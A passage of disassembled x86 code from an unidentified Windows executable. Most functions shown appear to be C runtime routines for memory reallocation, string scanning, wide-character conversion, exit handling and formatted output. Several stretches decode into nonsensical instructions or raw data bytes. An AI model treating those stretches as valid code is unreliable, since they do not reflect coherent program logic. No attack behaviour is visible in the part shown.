and byte ptr [eax], 0
loc_41232A: ; CODE XREF: sub_4121E8+FCj
; sub_4121E8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4121E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41232F proc near ; CODE XREF: sub_407E82+19p
; sub_40E321+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_412C3C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41236D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41237A
; ---------------------------------------------------------------------------
loc_41236D: ; CODE XREF: sub_41232F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_412B27
pop ecx
pop ecx
loc_41237A: ; CODE XREF: sub_41232F+3Cj
mov eax, esi
pop esi
leave
retn
sub_41232F endp
; =============== S U B R O U T I N E =======================================
sub_41237F proc near ; CODE XREF: seg000:0040810Ep
; sub_411613+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_41239A
push [esp+10h+arg_4]
call sub_410C0F
pop ecx
jmp loc_41249A
; ---------------------------------------------------------------------------
loc_41239A: ; CODE XREF: sub_41237F+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_4123B0
push ebx
call sub_410C83
pop ecx
loc_4123A9: ; CODE XREF: sub_41237F+114j
xor eax, eax
jmp loc_41249A
; ---------------------------------------------------------------------------
loc_4123B0: ; CODE XREF: sub_41237F+21j
; sub_41237F+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41247B
push ebx
call sub_413550
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_412458
cmp esi, ds:dword_42E3AC
ja short loc_412418
push esi
push ebx
push ebp
call sub_413D5B
add esp, 0Ch
test eax, eax
jz short loc_4123E7
mov edi, ebx
jmp short loc_412410
; ---------------------------------------------------------------------------
loc_4123E7: ; CODE XREF: sub_41237F+62j
push esi
call sub_4138A6
mov edi, eax
pop ecx
test edi, edi
jz short loc_412418
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4123FE
mov eax, esi
loc_4123FE: ; CODE XREF: sub_41237F+7Bj
push eax
push ebx
push edi
call sub_4105F0
push ebx
push ebp
call sub_41357B
add esp, 14h
loc_412410: ; CODE XREF: sub_41237F+66j
test edi, edi
jnz loc_412498
loc_412418: ; CODE XREF: sub_41237F+53j
; sub_41237F+73j
test esi, esi
jnz short loc_41241F
push 1
pop esi
loc_41241F: ; CODE XREF: sub_41237F+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_460EA0
call ds:dword_41C134 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41247B
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_412444
mov eax, esi
loc_412444: ; CODE XREF: sub_41237F+C1j
push eax
push ebx
push edi
call sub_4105F0
push ebx
push ebp
call sub_41357B
add esp, 14h
jmp short loc_412477
; ---------------------------------------------------------------------------
loc_412458: ; CODE XREF: sub_41237F+47j
test esi, esi
jnz short loc_41245F
push 1
pop esi
loc_41245F: ; CODE XREF: sub_41237F+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push ds:dword_460EA0
call ds:dword_41C148 ; RtlReAllocateHeap
mov edi, eax
loc_412477: ; CODE XREF: sub_41237F+D7j
test edi, edi
jnz short loc_412498
loc_41247B: ; CODE XREF: sub_41237F+36j
; sub_41237F+B9j
cmp ds:dword_45F89C, 0
jz short loc_412498
push esi
call sub_4134BB
test eax, eax
pop ecx
jnz loc_4123B0
jmp loc_4123A9
; ---------------------------------------------------------------------------
loc_412498: ; CODE XREF: sub_41237F+93j
; sub_41237F+FAj ...
mov eax, edi
loc_41249A: ; CODE XREF: sub_41237F+16j
; sub_41237F+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41237F endp
; =============== S U B R O U T I N E =======================================
sub_41249F proc near ; CODE XREF: sub_408661+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_41C07C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_4124BF
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
call sub_41724D
pop ecx
loc_4124BB: ; CODE XREF: sub_41249F+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4124BF: ; CODE XREF: sub_41249F+Dj
test al, 1
jz short loc_4124E0
test [esp+arg_4], 2
jz short loc_4124E0
mov ds:dword_45F844, 0Dh
mov ds:dword_45F848, 5
jmp short loc_4124BB
; ---------------------------------------------------------------------------
loc_4124E0: ; CODE XREF: sub_41249F+22j
; sub_41249F+29j
xor eax, eax
retn
sub_41249F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4124F0 proc near ; CODE XREF: sub_40878B+5Fp
; sub_40878B+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_412511
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_412511: ; CODE XREF: sub_4124F0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41252D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41252D: ; CODE XREF: sub_4124F0+27j
or eax, eax
jnz short loc_412549
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41258A
; ---------------------------------------------------------------------------
loc_412549: ; CODE XREF: sub_4124F0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_412557: ; CODE XREF: sub_4124F0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_412557
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_412585
cmp edx, [esp+0Ch+arg_4]
ja short loc_412585
jb short loc_412586
cmp eax, [esp+0Ch+arg_0]
jbe short loc_412586
loc_412585: ; CODE XREF: sub_4124F0+85j
; sub_4124F0+8Bj
dec esi
loc_412586: ; CODE XREF: sub_4124F0+8Dj
; sub_4124F0+93j
xor edx, edx
mov eax, esi
loc_41258A: ; CODE XREF: sub_4124F0+57j
dec edi
jnz short loc_412594
neg edx
neg eax
sbb edx, 0
loc_412594: ; CODE XREF: sub_4124F0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_4124F0 endp
; ---------------------------------------------------------------------------
db 0A1h ;
db 5Ch ; \
db 0E1h ;
db 42h ; B
db 0
db 85h ;
db 0C0h ;
db 74h ; t
db 2
db 0FFh
db 0D0h ;
db 68h ; h
db 24h ; $
db 0E0h ;
db 41h ; A
db 0
db 68h ; h
db 10h
db 0E0h ;
db 41h ; A
db 0
db 0E8h ;
db 0CEh ;
db 0
db 0
db 0
db 68h ; h
db 0Ch
db 0E0h ;
db 41h ; A
db 0
db 68h ; h
db 0
db 0E0h ;
db 41h ; A
db 0
db 0E8h ;
db 0BFh ;
db 0
db 0
db 0
db 83h ;
db 0C4h ;
db 10h
db 0C3h ;
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_4125E9
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_4125D8 proc near ; CODE XREF: sub_412ADE+1Cp
; sub_4155EC+33F6p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_4125E9
add esp, 0Ch
retn
sub_4125D8 endp
; =============== S U B R O U T I N E =======================================
sub_4125E9 proc near ; CODE XREF: seg000:004125CFp
; sub_4125D8+8p
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp ds:dword_45F88C, edi
jnz short near ptr loc_412605+1
push [esp+4+arg_0]
call near ptr 3E0000h
jno short near ptr loc_41264E+2
call near ptr 3E0000h
loc_412605: ; CODE XREF: sub_4125E9+Aj
rol dword ptr [ebx+0C247Ch], 1
push ebx
mov ebx, [esp+8+arg_8]
mov ds:dword_45F888, edi
mov ds:byte_45F884, bl
jnz short loc_41265A
mov eax, ds:dword_460EB4
test eax, eax
jz short loc_412649
mov ecx, ds:dword_460EB0
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_412648
loc_412635: ; CODE XREF: sub_4125E9+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41263D
call eax
loc_41263D: ; CODE XREF: sub_4125E9+50j
sub esi, 4
cmp esi, ds:dword_460EB4
jnb short loc_412635
loc_412648: ; CODE XREF: sub_4125E9+4Aj
pop esi
loc_412649: ; CODE XREF: sub_4125E9+3Cj
push offset dword_41E030
loc_41264E: ; CODE XREF: sub_4125E9+15j
push offset dword_41E028
call sub_412682
pop ecx
pop ecx
loc_41265A: ; CODE XREF: sub_4125E9+33j
push offset dword_41E03C
push offset dword_41E034
call sub_412682
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_412680
push [esp+4+arg_0]
mov ds:dword_45F88C, edi
call ds:dword_41C0F8 ; ExitProcess
loc_412680: ; CODE XREF: sub_4125E9+85j
pop edi
retn
sub_4125E9 endp
; =============== S U B R O U T I N E =======================================
sub_412682 proc near ; CODE XREF: sub_4125E9+6Ap
; sub_4125E9+7Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_412687: ; CODE XREF: sub_412682+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41269A
mov eax, [esi]
test eax, eax
jz short loc_412695
call eax
loc_412695: ; CODE XREF: sub_412682+Fj
add esi, 4
jmp short loc_412687
; ---------------------------------------------------------------------------
loc_41269A: ; CODE XREF: sub_412682+9j
pop esi
retn
sub_412682 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41269C proc near ; CODE XREF: seg000:0040CEC6p
; seg000:0040CEF5p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_4126B0
xor eax, eax
jmp short loc_4126E6
; ---------------------------------------------------------------------------
loc_4126B0: ; CODE XREF: sub_41269C+Ej
dec [ebp+arg_4]
push esi
jz short loc_4126E0
mov esi, [ebp+arg_8]
loc_4126B9: ; CODE XREF: sub_41269C+42j
dec dword ptr [esi+4]
js short loc_4126C8
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_4126CF
; ---------------------------------------------------------------------------
loc_4126C8: ; CODE XREF: sub_41269C+20j
push esi
call sub_4164EB
pop ecx
loc_4126CF: ; CODE XREF: sub_41269C+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_4126EA
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_4126E0
dec [ebp+arg_4]
jnz short loc_4126B9
loc_4126E0: ; CODE XREF: sub_41269C+18j
; sub_41269C+3Dj ...
and byte ptr [edi], 0
loc_4126E3: ; CODE XREF: sub_41269C+55j
mov eax, ebx
pop esi
loc_4126E6: ; CODE XREF: sub_41269C+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4126EA: ; CODE XREF: sub_41269C+36j
cmp edi, [ebp+arg_0]
jnz short loc_4126E0
xor ebx, ebx
jmp short loc_4126E3
sub_41269C endp
; =============== S U B R O U T I N E =======================================
sub_4126F3 proc near ; CODE XREF: seg000:0040B597p
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 3E0000h
enter 0FFFFC085h, 75h
or bh, bh
adc eax, offset dword_41C068
jmp short loc_41270B
; ---------------------------------------------------------------------------
xor eax, eax
loc_41270B: ; CODE XREF: sub_4126F3+14j
test eax, eax
jz short loc_41271A
push eax
call sub_41724D
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41271A: ; CODE XREF: sub_4126F3+1Aj
xor eax, eax
retn
sub_4126F3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41271D proc near ; CODE XREF: seg000:0040B4EEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_4172B4
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412C3C
push [ebp+arg_0]
mov edi, eax
push esi
call sub_417341
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41271D endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_412760
loc_412750: ; CODE XREF: sub_412760+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_412760
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412760 proc near ; CODE XREF: seg000:0040979Fp
; seg000:00409846p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00412750 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_412766: ; CODE XREF: sub_410AE0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41278B
loc_412778: ; CODE XREF: sub_412760+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_412750
test cl, cl
jz short loc_4127D4
test edx, 3
jnz short loc_412778
loc_41278B: ; CODE XREF: sub_412760+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_412796: ; CODE XREF: sub_412760+61j
; sub_412760+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4127D8
and eax, 81010100h
jz short loc_412796
and eax, 1010100h
jnz short loc_4127D2
and esi, 80000000h
jnz short loc_412796
loc_4127D2: ; CODE XREF: sub_412760+68j
; sub_412760+81j ...
pop esi
pop edi
loc_4127D4: ; CODE XREF: sub_412760+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4127D8: ; CODE XREF: sub_412760+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_412815
test al, al
jz short loc_4127D2
cmp ah, bl
jz short loc_41280E
test ah, ah
jz short loc_4127D2
shr eax, 10h
cmp al, bl
jz short loc_412807
test al, al
jz short loc_4127D2
cmp ah, bl
jz short loc_412800
test ah, ah
jz short loc_4127D2
jmp short loc_412796
; ---------------------------------------------------------------------------
loc_412800: ; CODE XREF: sub_412760+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_412807: ; CODE XREF: sub_412760+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41280E: ; CODE XREF: sub_412760+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_412815: ; CODE XREF: sub_412760+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_412760 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41286C
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41286D
test eax, 1
jz short loc_41284D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41289A
inc esi
inc edi
dec eax
jz short loc_41286A
loc_41284D: ; CODE XREF: seg000:00412840j
; seg000:00412868j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41289A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41289A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41284D
loc_41286A: ; CODE XREF: seg000:0041284Bj
; seg000:004128A4j
pop edi
pop esi
locret_41286C: ; CODE XREF: seg000:00412826j
retn
; ---------------------------------------------------------------------------
loc_41286D: ; CODE XREF: seg000:00412839j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_4128A2
repe cmpsd
jz short loc_4128A2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_412895
cmp ch, dh
jnz short loc_412895
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_412895
cmp ch, dh
loc_412895: ; CODE XREF: seg000:00412883j
; seg000:00412887j ...
mov eax, 0
loc_41289A: ; CODE XREF: seg000:00412846j
; seg000:00412853j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4128A2: ; CODE XREF: seg000:00412875j
; seg000:00412879j
test eax, eax
jz short loc_41286A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_412895
dec eax
jz short loc_4128C9
cmp dh, ch
jnz short loc_412895
dec eax
jz short loc_4128C9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_412895
dec eax
loc_4128C9: ; CODE XREF: seg000:004128AFj
; seg000:004128B6j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_4128CC proc near ; CODE XREF: sub_40F2C4+55p
; sub_40FC75+236p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4128E3
loc_4128D9: ; CODE XREF: sub_4128CC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4128D9
loc_4128E3: ; CODE XREF: sub_4128CC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_4128CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4128E9 proc near ; CODE XREF: sub_40F2C4+19p
; sub_40F2C4+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_4129B6
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_4129E3
cmp ds:dword_45F8D0, esi
jnz short loc_41293A
cmp edi, esi
jbe loc_4129E3
loc_412919: ; CODE XREF: sub_4128E9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_4129E3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_412919
jmp loc_4129E3
; ---------------------------------------------------------------------------
loc_41293A: ; CODE XREF: sub_4128E9+26j
mov ebx, [ebp+arg_4]
mov esi, ds:dword_41C120
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push ds:dword_45F8E0
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_4129E2
call ds:dword_41C068 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_412974
loc_412965: ; CODE XREF: sub_4128E9+CBj
; sub_4128E9+F7j
mov ds:dword_45F844, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4129E3
; ---------------------------------------------------------------------------
loc_412974: ; CODE XREF: sub_4128E9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41297C: ; CODE XREF: sub_4128E9+B3j
mov cl, [eax]
test cl, cl
jz short loc_41299E
mov edx, ds:off_42E190
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_412993
inc eax
loc_412993: ; CODE XREF: sub_4128E9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41297C
loc_41299E: ; CODE XREF: sub_4128E9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push ds:dword_45F8E0
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_4129E3
jmp short loc_412965
; ---------------------------------------------------------------------------
loc_4129B6: ; CODE XREF: sub_4128E9+Fj
cmp ds:dword_45F8D0, esi
jnz short loc_4129C9
push [ebp+arg_4]
call sub_410B60
pop ecx
jmp short loc_4129E3
; ---------------------------------------------------------------------------
loc_4129C9: ; CODE XREF: sub_4128E9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push ds:dword_45F8E0
call ds:dword_41C120 ; MultiByteToWideChar
cmp eax, esi
jz short loc_412965
loc_4129E2: ; CODE XREF: sub_4128E9+6Bj
dec eax
loc_4129E3: ; CODE XREF: sub_4128E9+1Aj
; sub_4128E9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4128E9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C658
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call ds:dword_41C154 ; GetVersion
xor edx, edx
mov dl, ah
mov ds:dword_45F85C, edx
mov ecx, eax
and ecx, 0FFh
mov ds:dword_45F858, ecx
shl ecx, 8
add ecx, edx
mov ds:dword_45F854, ecx
shr eax, 10h
mov ds:dword_45F850, eax
xor esi, esi
push esi
call sub_4134D6
pop ecx
test eax, eax
jnz short loc_412A54
push 1Ch
call sub_412B03
pop ecx
loc_412A54: ; CODE XREF: seg000:00412A4Aj
mov [ebp-4], esi
call loc_417992
call near ptr 0C80004h
and ds:dword_460EA4[ebx], 0FFFFFFE8h
hlt
; ---------------------------------------------------------------------------
db 4Dh, 2 dup(0)
dd 45F890A3h, 4B9DE800h, 0DFE80000h, 0E800004Ah, 0FFFFFB1Ah
dd 8DD07589h, 0E850A445h, 92D578h, 4A70E859h, 45890000h
dd 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h, 9C75FF50h
dd 55E85656h, 2A0094D5h, 602FE850h, 4589FFFFh, 8E850A0h
dd 8BFFFFFBh, 88BEC45h, 4D89098Bh, 0E8515098h, 48AEh, 8BC35959h
dd 75FFE865h, 0FAFAE898h
db 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_412ADE proc near ; CODE XREF: sub_411692+16p
; seg000:004175A8p ...
arg_0 = dword ptr 4
cmp ds:dword_45F898, 1
jnz short loc_412AEC
call sub_417C20
loc_412AEC: ; CODE XREF: sub_412ADE+7j
push [esp+arg_0]
call near ptr sub_417C59
push 0FFh
call ds:off_42E180
pop ecx
pop ecx
retn
sub_412ADE endp
; =============== S U B R O U T I N E =======================================
sub_412B03 proc near ; CODE XREF: seg000:00412A4Ep
arg_0 = dword ptr 4
cmp ds:dword_45F898, 1
jnz short loc_412B11
call sub_417C20
loc_412B11: ; CODE XREF: sub_412B03+7j
push [esp+arg_0]
call near ptr sub_417C59
pop ecx
push 0FFh
call ds:dword_41C0F8 ; ExitProcess
retn
sub_412B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B27 proc near ; CODE XREF: sub_41050B+46p
; sub_410A8A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_412C30
test al, 40h
jnz loc_412C30
test al, 1
jz short loc_412B5F
and dword ptr [esi+4], 0
test al, 10h
jz loc_412C30
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_412B5F: ; CODE XREF: sub_412B27+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_412B99
cmp esi, offset dword_42E8A8
jz short loc_412B87
cmp esi, offset dword_42E8C8
jnz short loc_412B92
loc_412B87: ; CODE XREF: sub_412B27+56j
push ebx
call sub_417F9D
test eax, eax
pop ecx
jnz short loc_412B99
loc_412B92: ; CODE XREF: sub_412B27+5Ej
push esi
call sub_417F59
pop ecx
loc_412B99: ; CODE XREF: sub_412B27+4Ej
; sub_412B27+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_412C06
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_412BC9
push edi
push eax
push ebx
call sub_417DAC
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_412BFC
; ---------------------------------------------------------------------------
loc_412BC9: ; CODE XREF: sub_412B27+90j
cmp ebx, 0FFFFFFFFh
jz short loc_412BE4
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_460B60[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_412BE9
; ---------------------------------------------------------------------------
loc_412BE4: ; CODE XREF: sub_412B27+A5j
mov eax, offset dword_42E7F0
loc_412BE9: ; CODE XREF: sub_412B27+BBj
test byte ptr [eax+4], 20h
jz short loc_412BFC
push 2
push 0
push ebx
call sub_4169A2
add esp, 0Ch
loc_412BFC: ; CODE XREF: sub_412B27+A0j
; sub_412B27+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_412C1A
; ---------------------------------------------------------------------------
loc_412C06: ; CODE XREF: sub_412B27+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_417DAC
add esp, 0Ch
mov [ebp+arg_4], eax
loc_412C1A: ; CODE XREF: sub_412B27+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_412C26
or dword ptr [esi+0Ch], 20h
jmp short loc_412C35
; ---------------------------------------------------------------------------
loc_412C26: ; CODE XREF: sub_412B27+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_412C38
; ---------------------------------------------------------------------------
loc_412C30: ; CODE XREF: sub_412B27+10j
; sub_412B27+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_412C35: ; CODE XREF: sub_412B27+FDj
or eax, 0FFFFFFFFh
loc_412C38: ; CODE XREF: sub_412B27+107j
pop esi
pop ebx
pop ebp
retn
sub_412B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412C3C proc near ; CODE XREF: sub_41050B+29p
; sub_410A8A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_413355
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_412C70
; ---------------------------------------------------------------------------
loc_412C68: ; CODE XREF: sub_412C3C+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_412C70: ; CODE XREF: sub_412C3C+2Aj
cmp [ebp+var_14], edx
jl loc_413355
cmp bl, 20h
jl short loc_412C91
cmp bl, 78h
jg short loc_412C91
movsx eax, bl
mov al, ds:byte_41C644[eax]
and eax, 0Fh
jmp short loc_412C93
; ---------------------------------------------------------------------------
loc_412C91: ; CODE XREF: sub_412C3C+40j
; sub_412C3C+45j
xor eax, eax
loc_412C93: ; CODE XREF: sub_412C3C+53j
movsx eax, ds:byte_41C664[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_413344 ; default
jmp ds:off_41335D[eax*4] ; switch jump
loc_412CB1: ; DATA XREF: seg000:off_41335Do
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00412CAA case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
